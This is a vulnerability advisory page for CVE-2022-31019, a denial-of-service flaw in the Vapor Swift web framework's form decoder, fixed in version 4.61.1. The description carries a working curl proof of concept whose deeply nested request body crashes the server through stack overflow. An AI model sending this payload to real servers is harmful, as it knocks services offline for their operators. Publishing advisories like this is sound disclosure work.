Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.
Metrics
Affected Vendors & Products
Advisories
| Source | ID | Title |
|---|---|---|
 EUVD |
EUVD-2023-1872 | Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: `curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo`. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1. |
 Github GHSA |
GHSA-qvxg-wjxc-r4gg | Vapor vulnerable to denial of service in URLEncodedFormDecoder |
Fixes
Solution
No solution given by the vendor.
Workaround
No workaround given by the vendor.
References
History
No history.
Projects
Sign in to view the affected projects.
MITRE
Status: PUBLISHED
Assigner: GitHub_M
Published:
Updated: 2025-04-22T17:54:38.010Z
Reserved: 2022-05-18T00:00:00.000Z
Link: CVE-2022-31019
Vulnrichment
No data.
NVD
Status : Modified
Published: 2022-06-09T13:15:08.393
Modified: 2024-11-21T07:03:43.540
Link: CVE-2022-31019
Redhat
No data.
OpenCVE Enrichment
No data.